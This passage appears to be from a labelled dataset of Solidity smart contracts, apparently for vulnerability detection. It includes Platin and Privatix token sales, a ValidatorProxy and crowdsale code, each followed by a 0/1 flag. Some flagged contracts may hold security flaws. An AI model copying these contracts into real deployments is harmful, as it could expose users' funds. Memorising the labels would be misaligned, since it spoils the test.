cubegonNFT.mineCubegon(msg.sender, _ch, cm.mId1, cm.amount1, cm.mId2, cm.amount2, cm.mId3, cm.amount3, cm.mId4, cm.amount4, cm.energyLimit); } function dismantleCubegon(uint _tokenId) isActive external { CubegonMaterial memory cm; (cm.mId1, cm.amount1, cm.mId2, cm.amount2, cm.mId3, cm.amount3, cm.mId4, cm.amount4) = cubegonNFT.dismantleCubegon(msg.sender, _tokenId); cubegoCore.addMaterials(msg.sender, cm.mId1, cm.amount1, cm.mId2, cm.amount2, cm.mId3, cm.amount3, cm.mId4, cm.amount4); } function updateCubegonEnergyLimit(uint _tokenId, uint _energyLimit) isActive payable external { uint payAmount = energyPrices[_energyLimit]; if (payAmount == 0) revert(); if (msg.value < payAmount) revert(); cubegonNFT.updateCubegon(msg.sender, _tokenId, _energyLimit); } }
0
385
pragma solidity ^0.4.25; library SafeMath { function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { if (_a == 0) { return 0; } c = _a * _b; assert(c / _a == _b); return c; } function div(uint256 _a, uint256 _b) internal pure returns (uint256) { return _a / _b; } function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { c = _a + _b; assert(c >= _a); return c; } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract HasNoEther is Ownable { constructor() public payable { require(msg.value == 0); } function() external { } function reclaimEther() external onlyOwner { owner.transfer(address(this).balance); } } library SafeERC20 { function safeTransfer( ERC20Basic _token, address _to, uint256 _value ) internal { require(_token.transfer(_to, _value)); } function safeTransferFrom( ERC20 _token, address _from, address _to, uint256 _value ) internal { require(_token.transferFrom(_from, _to, _value)); } function safeApprove( ERC20 _token, address _spender, uint256 _value ) internal { require(_token.approve(_spender, _value)); } } contract CanReclaimToken is Ownable { using SafeERC20 for ERC20Basic; function reclaimToken(ERC20Basic _token) external onlyOwner { uint256 balance = _token.balanceOf(this); _token.safeTransfer(owner, balance); } } contract HasNoTokens is CanReclaimToken { function tokenFallback( address _from, uint256 _value, bytes _data ) external pure { _from; _value; _data; revert(); } } contract HasNoContracts is Ownable { function reclaimContract(address _contractAddr) external onlyOwner { Ownable contractInst = Ownable(_contractAddr); contractInst.transferOwnership(owner); } } contract NoOwner is HasNoEther, HasNoTokens, HasNoContracts { } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() public onlyOwner whenNotPaused { paused = true; emit Pause(); } function unpause() public onlyOwner whenPaused { paused = false; emit Unpause(); } } contract Authorizable is Ownable { mapping (address => bool) public authorized; event Authorize(address indexed who); event UnAuthorize(address indexed who); modifier onlyAuthorized() { require(msg.sender == owner || authorized[msg.sender], "Not Authorized."); _; } function authorize(address _who) public onlyOwner { require(_who != address(0), "Address can't be zero."); require(!authorized[_who], "Already authorized"); authorized[_who] = true; emit Authorize(_who); } function unAuthorize(address _who) public onlyOwner { require(_who != address(0), "Address can't be zero."); require(authorized[_who], "Address is not authorized"); authorized[_who] = false; emit UnAuthorize(_who); } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address _owner, address _spender) public view returns (uint256); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) internal balances; uint256 internal totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_value <= balances[msg.sender]); require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(_to != address(0)); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue >= oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract HoldersToken is StandardToken { using SafeMath for uint256; address[] public holders; mapping (address => uint256) public holderNumber; function holdersCount() public view returns (uint256) { return holders.length; } function transfer(address _to, uint256 _value) public returns (bool) { _preserveHolders(msg.sender, _to, _value); return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { _preserveHolders(_from, _to, _value); return super.transferFrom(_from, _to, _value); } function _removeHolder(address _holder) internal { uint256 _number = holderNumber[_holder]; if (_number == 0 || holders.length == 0 || _number > holders.length) return; uint256 _index = _number.sub(1); uint256 _lastIndex = holders.length.sub(1); address _lastHolder = holders[_lastIndex]; if (_index != _lastIndex) { holders[_index] = _lastHolder; holderNumber[_lastHolder] = _number; } holderNumber[_holder] = 0; holders.length = _lastIndex; } function _addHolder(address _holder) internal { if (holderNumber[_holder] == 0) { holders.push(_holder); holderNumber[_holder] = holders.length; } } function _preserveHolders(address _from, address _to, uint256 _value) internal { _addHolder(_to); if (balanceOf(_from).sub(_value) == 0) _removeHolder(_from); } } contract PlatinToken is HoldersToken, NoOwner, Authorizable, Pausable { using SafeMath for uint256; string public constant name = "Platin Token"; string public constant symbol = "PTNX"; uint8 public constant decimals = 18; struct Lockup { uint256 release; uint256 amount; } mapping (address => Lockup[]) public lockups; mapping (address => mapping (address => Lockup[])) public refundable; mapping (address => mapping (address => mapping (uint256 => uint256))) public indexes; PlatinTGE public tge; event Allocate(address indexed to, uint256 amount); event SetLockups(address indexed to, uint256 amount, uint256 fromIdx, uint256 toIdx); event Refund(address indexed from, address indexed to, uint256 amount); modifier spotTransfer(address _from, uint256 _value) { require(_value <= balanceSpot(_from), "Attempt to transfer more than balance spot."); _; } modifier onlyTGE() { require(msg.sender == address(tge), "Only TGE method."); _; } function setTGE(PlatinTGE _tge) external onlyOwner { require(tge == address(0), "TGE is already set."); require(_tge != address(0), "TGE address can't be zero."); tge = _tge; authorize(_tge); } function allocate(address _to, uint256 _amount) external onlyTGE { require(_to != address(0), "Allocate To address can't be zero"); require(_amount > 0, "Allocate amount should be > 0."); totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); _addHolder(_to); require(totalSupply_ <= tge.TOTAL_SUPPLY(), "Can't allocate more than TOTAL SUPPLY."); emit Allocate(_to, _amount); emit Transfer(address(0), _to, _amount); } function transfer(address _to, uint256 _value) public whenNotPaused spotTransfer(msg.sender, _value) returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused spotTransfer(_from, _value) returns (bool) { return super.transferFrom(_from, _to, _value); } function transferWithLockup( address _to, uint256 _value, uint256[] _lockupReleases, uint256[] _lockupAmounts, bool _refundable ) public onlyAuthorized returns (bool) { transfer(_to, _value); _lockup(_to, _value, _lockupReleases, _lockupAmounts, _refundable); } function transferFromWithLockup( address _from, address _to, uint256 _value, uint256[] _lockupReleases, uint256[] _lockupAmounts, bool _refundable ) public onlyAuthorized returns (bool) { transferFrom(_from, _to, _value); _lockup(_to, _value, _lockupReleases, _lockupAmounts, _refundable); } function refundLockedUp( address _from ) public onlyAuthorized returns (uint256) { address _sender = msg.sender; uint256 _balanceRefundable = 0; uint256 _refundableLength = refundable[_from][_sender].length; if (_refundableLength > 0) { uint256 _lockupIdx; for (uint256 i = 0; i < _refundableLength; i++) { if (refundable[_from][_sender][i].release > block.timestamp) { _balanceRefundable = _balanceRefundable.add(refundable[_from][_sender][i].amount); refundable[_from][_sender][i].release = 0; refundable[_from][_sender][i].amount = 0; _lockupIdx = indexes[_from][_sender][i]; lockups[_from][_lockupIdx].release = 0; lockups[_from][_lockupIdx].amount = 0; } } if (_balanceRefundable > 0) { _preserveHolders(_from, _sender, _balanceRefundable); balances[_from] = balances[_from].sub(_balanceRefundable); balances[_sender] = balances[_sender].add(_balanceRefundable); emit Refund(_from, _sender, _balanceRefundable); emit Transfer(_from, _sender, _balanceRefundable); } } return _balanceRefundable; } function lockupsCount(address _who) public view returns (uint256) { return lockups[_who].length; } function hasLockups(address _who) public view returns (bool) { return lockups[_who].length > 0; } function balanceLockedUp(address _who) public view returns (uint256) { uint256 _balanceLokedUp = 0; uint256 _lockupsLength = lockups[_who].length; for (uint256 i = 0; i < _lockupsLength; i++) { if (lockups[_who][i].release > block.timestamp) _balanceLokedUp = _balanceLokedUp.add(lockups[_who][i].amount); } return _balanceLokedUp; } function balanceRefundable(address _who, address _sender) public view returns (uint256) { uint256 _balanceRefundable = 0; uint256 _refundableLength = refundable[_who][_sender].length; if (_refundableLength > 0) { for (uint256 i = 0; i < _refundableLength; i++) { if (refundable[_who][_sender][i].release > block.timestamp) _balanceRefundable = _balanceRefundable.add(refundable[_who][_sender][i].amount); } } return _balanceRefundable; } function balanceSpot(address _who) public view returns (uint256) { uint256 _balanceSpot = balanceOf(_who); _balanceSpot = _balanceSpot.sub(balanceLockedUp(_who)); return _balanceSpot; } function _lockup( address _who, uint256 _amount, uint256[] _lockupReleases, uint256[] _lockupAmounts, bool _refundable) internal { require(_lockupReleases.length == _lockupAmounts.length, "Length of lockup releases and amounts lists should be equal."); require(_lockupReleases.length.add(lockups[_who].length) <= 1000, "Can't be more than 1000 lockups per address."); if (_lockupReleases.length > 0) { uint256 _balanceLokedUp = 0; address _sender = msg.sender; uint256 _fromIdx = lockups[_who].length; uint256 _toIdx = _fromIdx + _lockupReleases.length - 1; uint256 _lockupIdx; uint256 _refundIdx; for (uint256 i = 0; i < _lockupReleases.length; i++) { if (_lockupReleases[i] > block.timestamp) { lockups[_who].push(Lockup(_lockupReleases[i], _lockupAmounts[i])); _balanceLokedUp = _balanceLokedUp.add(_lockupAmounts[i]); if (_refundable) { refundable[_who][_sender].push(Lockup(_lockupReleases[i], _lockupAmounts[i])); _lockupIdx = lockups[_who].length - 1; _refundIdx = refundable[_who][_sender].length - 1; indexes[_who][_sender][_refundIdx] = _lockupIdx; } } } require(_balanceLokedUp <= _amount, "Can't lockup more than transferred amount."); emit SetLockups(_who, _amount, _fromIdx, _toIdx); } } } contract PlatinTGE { using SafeMath for uint256; uint8 public constant decimals = 18; uint256 public constant TOTAL_SUPPLY = 1000000000 * (10 ** uint256(decimals)); uint256 public constant SALES_SUPPLY = 300000000 * (10 ** uint256(decimals)); uint256 public constant MINING_POOL_SUPPLY = 200000000 * (10 ** uint256(decimals)); uint256 public constant FOUNDERS_AND_EMPLOYEES_SUPPLY = 200000000 * (10 ** uint256(decimals)); uint256 public constant AIRDROPS_POOL_SUPPLY = 100000000 * (10 ** uint256(decimals)); uint256 public constant RESERVES_POOL_SUPPLY = 100000000 * (10 ** uint256(decimals)); uint256 public constant ADVISORS_POOL_SUPPLY = 70000000 * (10 ** uint256(decimals)); uint256 public constant ECOSYSTEM_POOL_SUPPLY = 30000000 * (10 ** uint256(decimals)); address public PRE_ICO_POOL; address public LIQUID_POOL; address public ICO; address public MINING_POOL; address public FOUNDERS_POOL; address public EMPLOYEES_POOL; address public AIRDROPS_POOL; address public RESERVES_POOL; address public ADVISORS_POOL; address public ECOSYSTEM_POOL; uint256 public constant PRE_ICO_POOL_AMOUNT = 20000000 * (10 ** uint256(decimals)); uint256 public constant LIQUID_POOL_AMOUNT = 100000000 * (10 ** uint256(decimals)); uint256 public constant ICO_AMOUNT = 180000000 * (10 ** uint256(decimals)); uint256 public constant FOUNDERS_POOL_AMOUNT = 190000000 * (10 ** uint256(decimals)); uint256 public constant EMPLOYEES_POOL_AMOUNT = 10000000 * (10 ** uint256(decimals)); address public UNSOLD_RESERVE; uint256 public constant ICO_LOCKUP_PERIOD = 182 days; uint256 public constant TOKEN_RATE = 1000; uint256 public constant TOKEN_RATE_LOCKUP = 1200; uint256 public constant MIN_PURCHASE_AMOUNT = 1 ether; PlatinToken public token; uint256 public tgeTime; constructor( uint256 _tgeTime, PlatinToken _token, address _preIcoPool, address _liquidPool, address _ico, address _miningPool, address _foundersPool, address _employeesPool, address _airdropsPool, address _reservesPool, address _advisorsPool, address _ecosystemPool, address _unsoldReserve ) public { require(_tgeTime >= block.timestamp, "TGE time should be >= current time."); require(_token != address(0), "Token address can't be zero."); require(_preIcoPool != address(0), "PreICO Pool address can't be zero."); require(_liquidPool != address(0), "Liquid Pool address can't be zero."); require(_ico != address(0), "ICO address can't be zero."); require(_miningPool != address(0), "Mining Pool address can't be zero."); require(_foundersPool != address(0), "Founders Pool address can't be zero."); require(_employeesPool != address(0), "Employees Pool address can't be zero."); require(_airdropsPool != address(0), "Airdrops Pool address can't be zero."); require(_reservesPool != address(0), "Reserves Pool address can't be zero."); require(_advisorsPool != address(0), "Advisors Pool address can't be zero."); require(_ecosystemPool != address(0), "Ecosystem Pool address can't be zero."); require(_unsoldReserve != address(0), "Unsold reserve address can't be zero."); tgeTime = _tgeTime; token = _token; PRE_ICO_POOL = _preIcoPool; LIQUID_POOL = _liquidPool; ICO = _ico; MINING_POOL = _miningPool; FOUNDERS_POOL = _foundersPool; EMPLOYEES_POOL = _employeesPool; AIRDROPS_POOL = _airdropsPool; RESERVES_POOL = _reservesPool; ADVISORS_POOL = _advisorsPool; ECOSYSTEM_POOL = _ecosystemPool; UNSOLD_RESERVE = _unsoldReserve; } function allocate() public { require(block.timestamp >= tgeTime, "Should be called just after tge time."); require(token.totalSupply() == 0, "Allocation is already done."); token.allocate(PRE_ICO_POOL, PRE_ICO_POOL_AMOUNT); token.allocate(LIQUID_POOL, LIQUID_POOL_AMOUNT); token.allocate(ICO, ICO_AMOUNT); token.allocate(MINING_POOL, MINING_POOL_SUPPLY); token.allocate(FOUNDERS_POOL, FOUNDERS_POOL_AMOUNT); token.allocate(EMPLOYEES_POOL, EMPLOYEES_POOL_AMOUNT); token.allocate(AIRDROPS_POOL, AIRDROPS_POOL_SUPPLY); token.allocate(RESERVES_POOL, RESERVES_POOL_SUPPLY); token.allocate(ADVISORS_POOL, ADVISORS_POOL_SUPPLY); token.allocate(ECOSYSTEM_POOL, ECOSYSTEM_POOL_SUPPLY); require(token.totalSupply() == TOTAL_SUPPLY, "Total supply check error."); } }
1
4,857
pragma solidity ^0.4.13; library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; function Ownable() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value) returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value) returns (bool); function approve(address spender, uint256 value) returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; function transferFrom(address _from, address _to, uint256 _value) returns (bool) { var _allowance = allowed[_from][msg.sender]; balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) returns (bool) { require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } function mint(address _to, uint256 _amount) onlyOwner canMint returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); return true; } function finishMinting() onlyOwner returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract Presale { using SafeMath for uint256; uint256 public minimalCap; uint256 public maximumCap; Token public token; uint256 public early_bird_minimal; address public wallet; uint256 public minimal_token_sell; uint256 public wei_per_token; uint256 public startTime; uint256 public endTime; event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); event Transfer(address indexed from, address indexed to, uint256 value); function Presale(uint256 _startTime, address _wallet) { require(_startTime >= now); require(_wallet != 0x0); token = new Token(); wallet = _wallet; startTime = _startTime; minimal_token_sell = 1e10; endTime = _startTime + 86400 * 7; wei_per_token = 62500000; early_bird_minimal = 30e18; maximumCap = 1875e18 / wei_per_token; minimalCap = 350e18 / wei_per_token; } function() payable { return buyTokens(msg.sender); } function calcAmount() internal returns (uint256) { if (now < startTime && msg.value >= early_bird_minimal) { return (msg.value / wei_per_token / 60) * 70; } return msg.value / wei_per_token; } function buyTokens(address contributor) payable { uint256 amount = calcAmount(); require(contributor != 0x0) ; require(minimal_token_sell < amount); require((token.totalSupply() + amount) <= maximumCap); require(validPurchase()); token.mint(contributor, amount); TokenPurchase(0x0, contributor, msg.value, amount); Transfer(0x0, contributor, amount); wallet.transfer(msg.value); } function balanceOf(address _owner) constant returns (uint256 balance) { return token.balanceOf(_owner); } function validPurchase() internal constant returns (bool) { bool withinPeriod = ((now >= startTime || msg.value >= early_bird_minimal) && now <= endTime); bool nonZeroPurchase = msg.value != 0; return withinPeriod && nonZeroPurchase; } function hasStarted() public constant returns (bool) { return now >= startTime; } function hasEnded() public constant returns (bool) { return now > endTime || token.totalSupply() == maximumCap; } } contract Token is MintableToken { string public constant name = 'Privatix Presale'; string public constant symbol = 'PRIXY'; uint256 public constant decimals = 8; function transferFrom(address from, address to, uint256 value) returns (bool) { revert(); } function transfer(address _to, uint256 _value) returns (bool) { revert(); } }
1
5,082
pragma solidity ^0.8.0; interface AggregatorValidatorInterface { function validate( uint256 previousRoundId, int256 previousAnswer, uint256 currentRoundId, int256 currentAnswer ) external returns ( bool ); } abstract contract TypeAndVersionInterface{ function typeAndVersion() external pure virtual returns ( string memory ); } contract ConfirmedOwner { address private s_owner; address private s_pendingOwner; event OwnershipTransferRequested( address indexed from, address indexed to ); event OwnershipTransferred( address indexed from, address indexed to ); constructor(address newOwner) { s_owner = newOwner; } function transferOwnership( address to ) external onlyOwner() { require(to != msg.sender, "Cannot transfer to self"); s_pendingOwner = to; emit OwnershipTransferRequested(s_owner, to); } function acceptOwnership() external { require(msg.sender == s_pendingOwner, "Must be proposed owner"); address oldOwner = s_owner; s_owner = msg.sender; s_pendingOwner = address(0); emit OwnershipTransferred(oldOwner, msg.sender); } function owner() public view returns ( address ) { return s_owner; } modifier onlyOwner() { require(msg.sender == s_owner, "Only callable by owner"); _; } } contract ValidatorProxy is AggregatorValidatorInterface, TypeAndVersionInterface, ConfirmedOwner { struct AggregatorConfiguration { address target; bool hasNewProposal; } struct ValidatorConfiguration { AggregatorValidatorInterface target; bool hasNewProposal; } AggregatorConfiguration private s_currentAggregator; address private s_proposedAggregator; ValidatorConfiguration private s_currentValidator; AggregatorValidatorInterface private s_proposedValidator; event AggregatorProposed( address indexed aggregator ); event AggregatorUpgraded( address indexed previous, address indexed current ); event ValidatorProposed( AggregatorValidatorInterface indexed validator ); event ValidatorUpgraded( AggregatorValidatorInterface indexed previous, AggregatorValidatorInterface indexed current ); event ProposedAggregatorValidateCall( address indexed proposed, uint256 previousRoundId, int256 previousAnswer, uint256 currentRoundId, int256 currentAnswer ); constructor( address aggregator, AggregatorValidatorInterface validator ) ConfirmedOwner(msg.sender) { s_currentAggregator = AggregatorConfiguration({ target: aggregator, hasNewProposal: false }); s_currentValidator = ValidatorConfiguration({ target: validator, hasNewProposal: false }); } function validate( uint256 previousRoundId, int256 previousAnswer, uint256 currentRoundId, int256 currentAnswer ) external override returns ( bool ) { address currentAggregator = s_currentAggregator.target; if (msg.sender != currentAggregator) { address proposedAggregator = s_proposedAggregator; require(msg.sender == proposedAggregator, "Not a configured aggregator"); emit ProposedAggregatorValidateCall( proposedAggregator, previousRoundId, previousAnswer, currentRoundId, currentAnswer ); return true; } ValidatorConfiguration memory currentValidator = s_currentValidator; address currentValidatorAddress = address(currentValidator.target); require(currentValidatorAddress != address(0), "No validator set"); currentValidatorAddress.call( abi.encodeWithSelector( AggregatorValidatorInterface.validate.selector, previousRoundId, previousAnswer, currentRoundId, currentAnswer ) ); if (currentValidator.hasNewProposal) { address(s_proposedValidator).call( abi.encodeWithSelector( AggregatorValidatorInterface.validate.selector, previousRoundId, previousAnswer, currentRoundId, currentAnswer ) ); } return true; } function proposeNewAggregator( address proposed ) external onlyOwner() { require(s_proposedAggregator != proposed && s_currentAggregator.target != proposed, "Invalid proposal"); s_proposedAggregator = proposed; s_currentAggregator.hasNewProposal = (proposed != address(0)); emit AggregatorProposed(proposed); } function upgradeAggregator() external onlyOwner() { AggregatorConfiguration memory current = s_currentAggregator; address previous = current.target; address proposed = s_proposedAggregator; require(current.hasNewProposal, "No proposal"); s_currentAggregator = AggregatorConfiguration({ target: proposed, hasNewProposal: false }); delete s_proposedAggregator; emit AggregatorUpgraded(previous, proposed); } function getAggregators() external view returns( address current, bool hasProposal, address proposed ) { current = s_currentAggregator.target; hasProposal = s_currentAggregator.hasNewProposal; proposed = s_proposedAggregator; } function proposeNewValidator( AggregatorValidatorInterface proposed ) external onlyOwner() { require(s_proposedValidator != proposed && s_currentValidator.target != proposed, "Invalid proposal"); s_proposedValidator = proposed; s_currentValidator.hasNewProposal = (address(proposed) != address(0)); emit ValidatorProposed(proposed); } function upgradeValidator() external onlyOwner() { ValidatorConfiguration memory current = s_currentValidator; AggregatorValidatorInterface previous = current.target; AggregatorValidatorInterface proposed = s_proposedValidator; require(current.hasNewProposal, "No proposal"); s_currentValidator = ValidatorConfiguration({ target: proposed, hasNewProposal: false }); delete s_proposedValidator; emit ValidatorUpgraded(previous, proposed); } function getValidators() external view returns( AggregatorValidatorInterface current, bool hasProposal, AggregatorValidatorInterface proposed ) { current = s_currentValidator.target; hasProposal = s_currentValidator.hasNewProposal; proposed = s_proposedValidator; } function typeAndVersion() external pure virtual override returns ( string memory ) { return "ValidatorProxy 1.0.0"; } }
0
536
pragma solidity ^0.4.18; contract IERC20Token { function name() public constant returns (string _name) { _name; } function symbol() public constant returns (string _symbol) { _symbol; } function decimals() public constant returns (uint8 _decimals) { _decimals; } function totalSupply() public constant returns (uint total) {total;} function balanceOf(address _owner) public constant returns (uint balance) {_owner; balance;} function allowance(address _owner, address _spender) public constant returns (uint remaining) {_owner; _spender; remaining;} function transfer(address _to, uint _value) public returns (bool success); function transferFrom(address _from, address _to, uint _value) public returns (bool success); function approve(address _spender, uint _value) public returns (bool success); event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); } contract SafeMath { function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) { assert(a+b >= a); return a+b; } function safeSub(uint256 a, uint256 b) internal pure returns (uint256) { assert(a >= b); return a - b; } function safeMult(uint256 x, uint256 y) internal pure returns(uint256) { uint256 z = x * y; assert((x == 0) || (z / x == y)); return z; } function safeDiv(uint256 x, uint256 y) internal pure returns (uint256) { assert(y != 0); return x / y; } } contract ERC20StandardToken is IERC20Token, SafeMath { string public name; string public symbol; uint8 public decimals; uint256 tokensIssued; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; function ERC20StandardToken() public { } function totalSupply() public constant returns (uint total) { total = tokensIssued; } function balanceOf(address _owner) public constant returns (uint balance) { balance = balances[_owner]; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); doTransfer(msg.sender, _to, _value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); allowed[_from][msg.sender] = safeSub(allowed[_from][msg.sender], _value); doTransfer(_from, _to, _value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { remaining = allowed[_owner][_spender]; } function getRealTokenAmount(uint256 tokens) public constant returns (uint256) { return tokens * (uint256(10) ** decimals); } function doTransfer(address _from, address _to, uint256 _value) internal { balances[_from] = safeSub(balances[_from], _value); balances[_to] = safeAdd(balances[_to], _value); } } contract ITokenPool { ERC20StandardToken public token; function setTrustee(address trustee, bool state) public; function getTokenAmount() public constant returns (uint256 tokens) {tokens;} } contract IOwned { function owner() public constant returns (address) {} function transferOwnership(address _newOwner) public; } contract Owned is IOwned { address public owner; function Owned() public { owner = msg.sender; } modifier ownerOnly { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public ownerOnly { require(_newOwner != owner); owner = _newOwner; } } contract Manageable is Owned { event ManagerSet(address manager, bool state); mapping (address => bool) public managers; function Manageable() public Owned() { managers[owner] = true; } modifier managerOnly { require(managers[msg.sender]); _; } function transferOwnership(address _newOwner) public ownerOnly { super.transferOwnership(_newOwner); managers[_newOwner] = true; managers[msg.sender] = false; } function setManager(address manager, bool state) public ownerOnly { managers[manager] = state; ManagerSet(manager, state); } } contract ReturnableToken is Manageable, ERC20StandardToken { mapping (address => bool) public returnAgents; function ReturnableToken() public {} function setReturnAgent(ReturnTokenAgent agent) public managerOnly { returnAgents[address(agent)] = true; } function removeReturnAgent(ReturnTokenAgent agent) public managerOnly { returnAgents[address(agent)] = false; } function doTransfer(address _from, address _to, uint256 _value) internal { super.doTransfer(_from, _to, _value); if (returnAgents[_to]) { ReturnTokenAgent(_to).returnToken(_from, _value); } } } contract ReturnTokenAgent is Manageable { mapping (address => bool) public returnableTokens; modifier returnableTokenOnly {require(returnableTokens[msg.sender]); _;} function returnToken(address from, uint256 amountReturned) public; function setReturnableToken(ReturnableToken token) public managerOnly { returnableTokens[address(token)] = true; } function removeReturnableToken(ReturnableToken token) public managerOnly { returnableTokens[address(token)] = false; } } contract IInvestRestrictions is Manageable { function canInvest(address investor, uint amount, uint tokensLeft) constant returns (bool result) { investor; amount; result; tokensLeft; } function investHappened(address investor, uint amount) managerOnly {} } contract ICrowdsaleFormula { function howManyTokensForEther(uint256 weiAmount) constant returns(uint256 tokens, uint256 excess) { weiAmount; tokens; excess; } function tokensLeft() constant returns(uint256 _left) { _left;} } contract ITokenHolder { function withdrawTokens(IERC20Token _token, address _to, uint256 _amount) public; } contract TokenHolder is ITokenHolder, Manageable { function TokenHolder() { } function withdrawTokens(IERC20Token _token, address _to, uint256 _amount) public managerOnly { assert(_token.transfer(_to, _amount)); } } contract BCSCrowdsale is ReturnTokenAgent, TokenHolder, ICrowdsaleFormula, SafeMath { enum State {Unknown, BeforeStart, Active, FinishedSuccess, FinishedFailure} ITokenPool public tokenPool; IInvestRestrictions public restrictions; address public beneficiary; uint256 public startTime; uint256 public endTime; uint256 public minimumGoalInWei; uint256 public tokensForOneEther; uint256 realAmountForOneEther; uint256 bonusPct; bool public withdrew; uint256 public weiCollected; uint256 public tokensSold; uint256 public totalInvestments; bool public failure; mapping (address => uint256) public investedFrom; mapping (address => uint256) public returnedTo; mapping (address => uint256) public tokensSoldTo; mapping (address => uint256) public overpays; event Invested(address investor, uint weiAmount, uint tokenAmount); event Refund(address investor, uint weiAmount); event OverpayRefund(address investor, uint weiAmount); function BCSCrowdsale( ITokenPool _tokenPool, IInvestRestrictions _restrictions, address _beneficiary, uint256 _startTime, uint256 _durationInHours, uint256 _goalInWei, uint256 _tokensForOneEther, uint256 _bonusPct) { require(_beneficiary != 0x0); require(address(_tokenPool) != 0x0); require(_tokensForOneEther > 0); tokenPool = _tokenPool; beneficiary = _beneficiary; restrictions = _restrictions; if (_startTime == 0) { startTime = now; } else { startTime = _startTime; } endTime = 